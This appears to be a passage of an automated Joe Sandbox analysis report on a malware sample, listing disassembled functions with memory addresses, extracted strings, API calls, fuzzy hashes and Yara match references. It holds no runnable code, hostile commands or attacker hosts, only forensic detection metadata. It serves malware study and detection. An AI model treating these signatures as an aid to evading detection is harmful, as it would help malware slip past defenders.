Instruction ID: 5d6f820f76e102683b6000eea9d9c0854d2a53b51ca8dd83b48920ec6b395174
Opcode Fuzzy Hash: 76074d0fa5649b7af8b65c8d834cc8e8b3a426d5c338a204269d4efa35c5c45e
Instruction Fuzzy Hash: 096111716083548FE720CF65D841BEFB7F0FB8A308F10856CE558AB282DB7554068B8A

Function 0215AA57 Relevance: 1.6, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0215AB5E

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 01e1882552020fdf3c56b2c86be107ff28e05b2961e87663747131647cbb6fdd
Instruction ID: e94a01548746b19ac626204666145330c18c7a9a551fa6cdd69f1efd4faccd63
Opcode Fuzzy Hash: 01e1882552020fdf3c56b2c86be107ff28e05b2961e87663747131647cbb6fdd
Instruction Fuzzy Hash: BA4104726583154FD324CF68DDC134BBAE2ABC4704F1ACA3DE5988B285DBB4C9058BC2

Function 00414C30 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

"PA, xrefs: 00415014

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: "PA
API String ID: 0-2145937358
Opcode ID: bef77be7770c426e390176cbba11156bb761573cd05d219cd3a7b36ea03102e9
Instruction ID: f624a7b71cbf7b314e20e1a45d24be04a38f24c047e10d0676dafeec8f7fc991
Opcode Fuzzy Hash: bef77be7770c426e390176cbba11156bb761573cd05d219cd3a7b36ea03102e9
Instruction Fuzzy Hash: 5CA102B15183118BD7189F28D8627ABB3E1EFD2314F09892EE8C58B390F77C9945C796

Function 004186E5 Relevance: 1.6, Strings: 1, Instructions: 379COMMON

Download Yara Rule

Strings

(\{, xrefs: 00418791, 00418A2D, 00418B1F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: 6f86a4a6732c16f85fa0b5c8b5b05ec726a4e1dee9e10744f3451befcb80c10c
Instruction ID: 98bb563e369b50833e553825352294a070171db5f83cbba2a90f400d3e1a70d5
Opcode Fuzzy Hash: 6f86a4a6732c16f85fa0b5c8b5b05ec726a4e1dee9e10744f3451befcb80c10c
Instruction Fuzzy Hash: 0FC14974608241DFD724CF29C8917ABB7E2FF86314F184A3EE49587291DB38D856CB4A

Function 021611BB Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 021611EC

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d46930d8ea5d8e4c1fa930bb6d97d79fe89e2303350bbbf21d68262c0608e9e6
Instruction ID: 8bee2089bc13d71db4ab1742cd730eda95310eabf1cf9ef7db90004bfe931bfd
Opcode Fuzzy Hash: d46930d8ea5d8e4c1fa930bb6d97d79fe89e2303350bbbf21d68262c0608e9e6
Instruction Fuzzy Hash: 7B31C1369583904BE7358F358C957EBBBE2ABC2314F198A6DC8D957285DB360405CB81

Function 021611B5 Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 021611EC

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 1a694cecfd3be9603b07d6fb9acc2d21223d713bf2e364fe82ac352f710b0443
Instruction ID: 96d660a1a3491a68693020cd3669aa36c55286516c564f4b564b3cea21dbe2e7
Opcode Fuzzy Hash: 1a694cecfd3be9603b07d6fb9acc2d21223d713bf2e364fe82ac352f710b0443
Instruction Fuzzy Hash: 4E31B4769583904BE3348F359C953EBBBE2BBC6314F198A2CC8D957244DB760805CBC1

Function 004442E0 Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

(\{, xrefs: 0044438B, 00444529

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeThunk
String ID: (\{
API String ID: 2994545307-415659174
Opcode ID: dacedb78e00f7b3ea06162b8a930dfcecaa1b39c86591f60bbd6e03e633e71ac
Instruction ID: 5aabee4b8b26e2ec9a193049fa608abe716db33e51fa934c25155f6b19f8c581
Opcode Fuzzy Hash: dacedb78e00f7b3ea06162b8a930dfcecaa1b39c86591f60bbd6e03e633e71ac
Instruction Fuzzy Hash: AC9115316083018BEB14DF29D86072FB7E2FFC9724F15892DE9C597390D73898158B8A

Function 02174547 Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

(\{, xrefs: 021745F2, 02174790

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: f9f340207ff99400aa1e8f7d0486ce8454284f6cb4ab257c27673f3fe4436c83
Instruction ID: 4bf785f6144f0451a1fe51bc52ea2675feb95b5033c94f9d9f7be2b247381005
Opcode Fuzzy Hash: f9f340207ff99400aa1e8f7d0486ce8454284f6cb4ab257c27673f3fe4436c83
Instruction Fuzzy Hash: 7091E0316483818BD7149F29C860B2FB7F2FFC9324F258A6CE4D59B290DB359915CB86

Function 004085B0 Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

., xrefs: 0040860E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: f79fadad359256f9c8902d74d10a2b3d9a93aa70e8ce4c65eb9bac628b7d73f4
Instruction ID: 911296d1392f8c3c8cd6404ab6709485da162d277dd93cabcee5ac66b0687773
Opcode Fuzzy Hash: f79fadad359256f9c8902d74d10a2b3d9a93aa70e8ce4c65eb9bac628b7d73f4
Instruction Fuzzy Hash: 39A14B72E087618BC7109E28C98035BBBE1AB81310F698A7EDDD4B73D5DB389C458BC5

Function 02138817 Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

., xrefs: 02138875

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: f79fadad359256f9c8902d74d10a2b3d9a93aa70e8ce4c65eb9bac628b7d73f4
Instruction ID: 5666f5f0166399b243864043742042778f46fb4feff6bacdc1411f4d8fb8700e
Opcode Fuzzy Hash: f79fadad359256f9c8902d74d10a2b3d9a93aa70e8ce4c65eb9bac628b7d73f4
Instruction Fuzzy Hash: 40A14E72E483624BC7129F28C89439AFBE2AB81314F1B8A69FDD5A7395D3349C4587C1

Function 0041BA52 Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

x(m., xrefs: 0041BC5F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: x(m.
API String ID: 0-3038009362
Opcode ID: 2334306b3d1fa9529e9ef949cf5e5337414280495606308dda49b0f52e9ab68a
Instruction ID: 8fe95d6803831fae5c575aca5061d2950839e556567635e7946eadf65fb6b687
Opcode Fuzzy Hash: 2334306b3d1fa9529e9ef949cf5e5337414280495606308dda49b0f52e9ab68a
Instruction Fuzzy Hash: F27128B2A083108BD3248F25C4D03A7B7E1EFDA314F19595DE8C66B391E7788945C7D6

Function 00406120 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 00406256

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 4e4cdd11613485ebd3507b31ac98323400b255591d2e2a7447f694ccaad8bd43
Instruction ID: 9057347cd236a3d55169ab5d420f90e4f8a8bfd1e184600247eeff6d96e402e7
Opcode Fuzzy Hash: 4e4cdd11613485ebd3507b31ac98323400b255591d2e2a7447f694ccaad8bd43
Instruction Fuzzy Hash: 04B139712083819FD325CF18C88061BFBE0AFA9704F484E6DE5D997782D635E918CBA7

Function 02136387 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 021364BD

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 4e4cdd11613485ebd3507b31ac98323400b255591d2e2a7447f694ccaad8bd43
Instruction ID: 7004b1a590ebfc2c9a8222d97f45660a64f919ee1bb9f721603eddf45e390520
Opcode Fuzzy Hash: 4e4cdd11613485ebd3507b31ac98323400b255591d2e2a7447f694ccaad8bd43
Instruction Fuzzy Hash: B3B147716083819FC325CF18C98061BFBE5AFA9604F444A2DE5D997782D731E918CBA7

Function 004180F0 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

gfff, xrefs: 00418257

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 3bf142fd8a215ea0c64be45187437800715a7ca7fa3f03cb850da3ccfabd6cc7
Instruction ID: 92e196d3d9e6bda93a0c7e2106ea41e010bf6410d3e766de811087e40ead5107
Opcode Fuzzy Hash: 3bf142fd8a215ea0c64be45187437800715a7ca7fa3f03cb850da3ccfabd6cc7
Instruction Fuzzy Hash: 6291C5B1A086429FC714CB29C4917ABFBD29BD5304F18892EE4D9C7352E739DC85CB86

Function 02148357 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

gfff, xrefs: 021484BE

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 6ceb0d1c140525c60d7b3d2d9bab67d25452a9bb47d8311bc79918efc40535ca
Instruction ID: ff8e2e0c842e38c90690573c2760522e0707f77d2b58f8dea4bc0263ecd71dec
Opcode Fuzzy Hash: 6ceb0d1c140525c60d7b3d2d9bab67d25452a9bb47d8311bc79918efc40535ca
Instruction Fuzzy Hash: C891A4B19486429FC714CB28C891B6BFBE2AFD4318F19892DE4DD8B342E735D945CB42

Function 00444680 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

(\{, xrefs: 00444697, 00444779

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: 79641a3cc0ee827990577489ebfc85dc0d24a337a940c359287e238b71fab45e
Instruction ID: 96d12ea3d3c94a09dadfd44fb7852b0513c37639a1ae6042b5b217cdcd3fb480
Opcode Fuzzy Hash: 79641a3cc0ee827990577489ebfc85dc0d24a337a940c359287e238b71fab45e
Instruction Fuzzy Hash: CA81AE792042418BE724DF29D890B2BB3E1FFDA714F15862DE9908B3A1DB39DC15CB46

Function 021748E7 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

(\{, xrefs: 021748FE, 021749E0

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: f6a5e1c7b1483e5f51f073784b6c1af1003ec8c950d71c9311a1ab3a2977ad0b
Instruction ID: 99d0aebc5c1b27af8529e9e17571cd0f878569cec9f770a1253550aa02bf7cf1
Opcode Fuzzy Hash: f6a5e1c7b1483e5f51f073784b6c1af1003ec8c950d71c9311a1ab3a2977ad0b
Instruction Fuzzy Hash: 9C818C392482018BD724DF29D890B2AB3F2FFD9754F15866CE9958B3A0EB31DC51CB46

Function 0041D8B0 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

>, xrefs: 0041DA33

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: f1bc986dabf3978d0cb1bf79de7b73276bda3729ec1d8848391f1f4d6f7e9591
Instruction ID: f78e35e26b24cf68e4bc09e6cd2b7899b815de8684f97abc49024c1dd2b64b0c
Opcode Fuzzy Hash: f1bc986dabf3978d0cb1bf79de7b73276bda3729ec1d8848391f1f4d6f7e9591
Instruction Fuzzy Hash: D76127B3A5D6D04BD3258A3C4C613EA6A930FA7330F2D87AAE8F5873E1D15D8C469345

Function 0214DB17 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

>, xrefs: 0214DC9A

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: f1bc986dabf3978d0cb1bf79de7b73276bda3729ec1d8848391f1f4d6f7e9591
Instruction ID: cc3b32c853bcf10883a08d63c81fc256ef6b0ac7170b98a1e3b11917ad793f64
Opcode Fuzzy Hash: f1bc986dabf3978d0cb1bf79de7b73276bda3729ec1d8848391f1f4d6f7e9591
Instruction Fuzzy Hash: 8861063768D6D047D7298A3C6C613AA6A930BD7234F1E87BDE4F9873E1DB5A88058341

Function 0043CE90 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

(\{, xrefs: 0043CF30, 0043CFC2, 0043D068

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: 43fca39a7f72a1f4448c48acaadee8de276498a9144bd6424f4a2099b91a712c
Instruction ID: e35f2f60d65f04bb18af1f8d7cf5bd4ec7f66c51464b3c3842bee00e328901c8
Opcode Fuzzy Hash: 43fca39a7f72a1f4448c48acaadee8de276498a9144bd6424f4a2099b91a712c
Instruction Fuzzy Hash: 3B51F671A0C6018FD3188B28D59032BB7E2BBC9328F159B2FE4A5573D1D279C946CB4B

Function 0216D0F7 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

(\{, xrefs: 0216D197, 0216D229, 0216D2CF

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{
API String ID: 0-415659174
Opcode ID: 6fbaea2b680d7394fab1b0bb9ecc81c16f740583f6565f8e0bd3cacf9ca9fb57
Instruction ID: 8efe704b1c9016adfd3da14d25e522efcb4aa8e2bc4c9d902441af8134ae8b6a
Opcode Fuzzy Hash: 6fbaea2b680d7394fab1b0bb9ecc81c16f740583f6565f8e0bd3cacf9ca9fb57
Instruction Fuzzy Hash: 665127757482018FD3188B28E81833EB7D2BBD5328F1A872EE4A5573D1D374C991CB46

Function 00418492 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

(, xrefs: 00418669

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: ee7fa4accd31e59d0910d8aa9e7224e6b0750909148df57fa657f99ce6b3dc18
Instruction ID: 2caae83b2d4013721f210141ccc417c30349dd5d0901d4fb7f3c841e3804c493
Opcode Fuzzy Hash: ee7fa4accd31e59d0910d8aa9e7224e6b0750909148df57fa657f99ce6b3dc18
Instruction Fuzzy Hash: E851DE74109780DFDB209F24D859BABB7E5FF92314F09096DE4C98B2A1EB388514CB5B

Function 00417054 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

rA, xrefs: 00417161

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: rA
API String ID: 0-3688822144
Opcode ID: 0fecef19979ae2520a6d41ae5022304e5fe91d9e10e30bf12275cb775264daa6
Instruction ID: eea7f0b4564a115e112266a705f564882217ee49f10fc6db0b082ff3a9467cbb
Opcode Fuzzy Hash: 0fecef19979ae2520a6d41ae5022304e5fe91d9e10e30bf12275cb775264daa6
Instruction Fuzzy Hash: 21410B3565C7824BD336CE7984903ABBBD2ABC6310F0C8A7D94D197785DE7CC8468752

Function 0215AF50 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

q, xrefs: 0215B00D

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: q
API String ID: 0-3900047139
Opcode ID: 673c11ed654b93604eb6ab5b56a9e698777ccd58af881acd39c106462716c5a1
Instruction ID: 711c33c999da592369c5e998844e06d8b2656eeec7170d42b16aa082ccaecaab
Opcode Fuzzy Hash: 673c11ed654b93604eb6ab5b56a9e698777ccd58af881acd39c106462716c5a1
Instruction Fuzzy Hash: 8741BCB4548315CAC720CF24C49176BB7F1FF82358F148A9CE8A58B3A5E7798506CB87

Function 0213D3D9 Relevance: 1.4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

301V, xrefs: 0213D53C

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 301V
API String ID: 0-2749669040
Opcode ID: 833df5a93a9dfcddf4f429d08c48422bb21d6f1f0a3d624069caf29e04340d04
Instruction ID: 6dc91853aac012be92126f7082ad683674eb155bf612d99c4cd9c9d730495fcf
Opcode Fuzzy Hash: 833df5a93a9dfcddf4f429d08c48422bb21d6f1f0a3d624069caf29e04340d04
Instruction Fuzzy Hash: 2041D07424C3118BD728DF54D8A4B6BB7F1FFC5318F08892CE4864B255E3B59608DB46

Function 00442DCA Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

UUK, xrefs: 00442E65

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: UUK
API String ID: 0-1743445028
Opcode ID: 64f8c97061e85143dd2bf9607cc879b83cd40bcdd4eb5dc80a7e8408e6d4f248
Instruction ID: e9b7a210428eddec2d32ba3198370ee38b37a834245a60ff4a0e95a4beb386be
Opcode Fuzzy Hash: 64f8c97061e85143dd2bf9607cc879b83cd40bcdd4eb5dc80a7e8408e6d4f248
Instruction Fuzzy Hash: D14106322087504BD31CCF38D9A132BFBD7AB85314F5A856ED0868B791D6B999058B89

Function 004421E9 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

"c_, xrefs: 004422FA

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: "c_
API String ID: 0-1905016733
Opcode ID: 54f33eb4d3c200ec803ec730c350af6742ffe7018a8b1e5f7191d90e9f16e4db
Instruction ID: 139d9a56c6b22736b00f81c9c0a59650492495ee9bcb90bc8dd56261b9d87cf4
Opcode Fuzzy Hash: 54f33eb4d3c200ec803ec730c350af6742ffe7018a8b1e5f7191d90e9f16e4db
Instruction Fuzzy Hash: 7331F172E055018FC319CF2CC8623A6FBA2FB59308F19D12CC555A7796C7B9A80A8B84

Function 02172450 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

"c_, xrefs: 02172561

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: "c_
API String ID: 0-1905016733
Opcode ID: 54f33eb4d3c200ec803ec730c350af6742ffe7018a8b1e5f7191d90e9f16e4db
Instruction ID: 0580294eb3c537118d3fa01cde9ae138cd5f323d8ff6661931faa1c82fcfe259
Opcode Fuzzy Hash: 54f33eb4d3c200ec803ec730c350af6742ffe7018a8b1e5f7191d90e9f16e4db
Instruction Fuzzy Hash: F331D172E055018FC319CF2CC8667A5FBA2FB49308F19D12CC5559B796D779A40ACB84

Function 0041B58F Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

%, xrefs: 0041B59D

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 2611800c88671bb526049112999962ec915228d777db172c398fa2dfb9493879
Instruction ID: fc55fbf2e67d6e55d69b8bdcc21a86b947583cb7b9fc2e15381c79fb32be4bbc
Opcode Fuzzy Hash: 2611800c88671bb526049112999962ec915228d777db172c398fa2dfb9493879
Instruction Fuzzy Hash: 492125315583508FD3248F24C854B6ABBE0EF9A318F084A5EE4D5EB392C379C945CB8B

Function 0214B7F6 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

%, xrefs: 0214B804

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 4d24bd78338286888f8d211ca0a5dc873c79f3b924ede333e2a7dd3152c8cbc9
Instruction ID: a28ce34c821799ff8d9ff8f4db98ce94d27e909d55982a2c9bffe3cfa147f236
Opcode Fuzzy Hash: 4d24bd78338286888f8d211ca0a5dc873c79f3b924ede333e2a7dd3152c8cbc9
Instruction Fuzzy Hash: 3621073155C3518FD3148F25C854B2ABBE0AF8631CF094A6DE4D9EB391C779C945CB46

Function 00427FFD Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

UZW, xrefs: 004286AD

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: UZW
API String ID: 0-4101217444
Opcode ID: 214fb597cb98695a4d45f46ce28af4813d836258ed31ce56576b7396067f434c
Instruction ID: beb92d7dceb5f7ee2bc2359878695b6a9a5b74cab8484de6a3c22e177f9b20e4
Opcode Fuzzy Hash: 214fb597cb98695a4d45f46ce28af4813d836258ed31ce56576b7396067f434c
Instruction Fuzzy Hash: 2D21E7706093618BD7209F65E89577FB7E1EF92308F44082EE5C187252EB7DC806CB5A

Function 02158264 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

UZW, xrefs: 02158914

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: UZW
API String ID: 0-4101217444
Opcode ID: 214fb597cb98695a4d45f46ce28af4813d836258ed31ce56576b7396067f434c
Instruction ID: 5751c99524f304347b8fdb6e5aa3f8714322a1ccea2658cf5ba543a7384277eb
Opcode Fuzzy Hash: 214fb597cb98695a4d45f46ce28af4813d836258ed31ce56576b7396067f434c
Instruction Fuzzy Hash: A4219FB1548250CBD7209F64889176BB7E2EF92314F09086DE9A187291E7B9C445CB12

Function 02145527 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

(\{, xrefs: 0214553B, 021455E6

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

